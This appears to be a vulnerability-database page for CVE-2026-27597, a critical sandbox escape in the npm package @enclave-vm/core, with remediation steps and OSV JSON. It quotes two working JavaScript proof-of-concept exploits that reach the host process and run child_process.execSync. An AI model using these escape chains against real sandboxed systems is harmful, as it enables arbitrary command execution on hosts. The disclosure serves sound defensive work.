Vulnerabilities in pkg:npm/@enclave-vm/core

PACKAGE
Advisory Identifier: GHSA-f229-3862-4942
Advisory Summary

CVE-2026-27597 is a CRITICAL (CVSS 10.0) @enclave-vm/core is vulnerable to sandbox vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @enclave vm/core libraries in the npm ecosystem. The issue involves @enclave-vm/core is vulnerable to sandbox escape. Remediation is available by upgrading affected packages to version 2.11.1.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@enclave-vm/core

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@enclave-vm/core. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-f229-3862-4942 CVE-2026-27597 CRITICAL @enclave-vm/core is vulnerable to Sandbox Escape
GHSA-x39w-8vm5-5m3p CVE-2026-25533 MODERATE Sandbox escape via infinite recursion and error objects

CVE-2026-27597 at a Glance

CVE Identifier CVE-2026-27597
GHSA Identifier GHSA-f229-3862-4942
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product @enclave vm/core
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-27597

To remediate this vulnerability, upgrade all affected @enclave vm/core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@enclave-vm/core fixed: 2.11.1
npm install @enclave-vm/core@2.11.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @enclave-vm/core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-27597, inspect your project dependencies using npm:

npm ls @enclave-vm/core

Analyze the terminal output to locate any version of @enclave vm/core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.1), your application is affected.

Note: The npm ls @enclave-vm/core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @enclave vm/core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version **2.11.1**. --- ## Details It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox. When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor. When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`). --- ## Proof of Concept ### PoC 1 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, }); const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]]; const glob = ho.getOwnPropertyDescriptors(this); return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ### PoC 2 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, }); const result = enclave.run(` const op = {}[['__proto__']]; const ho = op[['constructor']]; const glob = ho.getOwnPropertyDescriptors(this); const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom'); let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('child_process') .execSync('id') .toString(); }, }; glob.__safe_console.value.log(obj); return { result } `); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ## Impact This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system. This constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**. --- ## Remediation The issue has been fixed in **v2.11.0** with the following hardening measures: * Strengthened intrinsic object isolation * Improved console isolation * Hardened host callback exposure paths * Closed AST validation gaps * Added additional defensive checks around constructor access and prototype traversal All known escape paths demonstrated in the PoCs are now blocked. Users are strongly advised to upgrade to **v2.11.1** or later immediately. --- ## Credit Enclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.

CVE-2026-27597 Affected @enclave vm/core Versions

1 component(s)
Fixed Versions:
2.11.1
Product / Package Ecosystem Affected Versions Fixed Version
@enclave-vm/core
npm
< 2.11.1
2.11.1

References

Frequently Asked Questions

What is CVE-2026-27597?
CVE-2026-27597 is a security vulnerability in @enclave vm/core involving @enclave-vm/core is vulnerable to Sandbox Escape under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which @enclave vm/core versions are affected?
Affected versions include releases prior to 2.11.1 across affected packages: @enclave-vm/core.
What version fixes CVE-2026-27597?
Upgrading to 2.11.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @enclave-vm/core affected?
Yes, @enclave-vm/core is affected in releases prior to 2.11.1. Upgrade your dependency to 2.11.1 or later.
What is the CVSS score of CVE-2026-27597?
CVE-2026-27597 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-27597?
CVE-2026-27597 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-27597?
Run the dependency tree command: 'npm ls @enclave-vm/core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f229-3862-4942",
  "modified" : "2026-07-06T15:26:36Z",
  "published" : "2026-02-25T17:26:23Z",
  "aliases" : [ "CVE-2026-27597" ],
  "summary" : "@enclave-vm/core is vulnerable to Sandbox Escape",
  "details" : "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"SECURE\",\n  toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n  res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n    .getBuiltinModule(\"child_process\")\n    .execSync(\"id\")\n    .toString()\n    .split(\"\\\\n\"),\n};`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n  securityLevel: \"STRICT\",\n  toolHandler: () => {},\n  memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n  [sym]: (depth, option, inspect) => {\n    result = inspect[['constructor']]\n      [['constructor']]('return process')()\n      .getBuiltinModule('child_process')\n      .execSync('id')\n      .toString();\n  },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n  .then((v) => console.log(\"success\", v))\n  .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@enclave-vm/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.11.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.10.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27597"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/agentfront/enclave/commit/09afbebe4cb6d0586c1145aa71ffabd2103932db"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/agentfront/enclave"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T17:26:23Z",
    "nvd_published_at" : "2026-02-25T04:16:03Z"
  }
}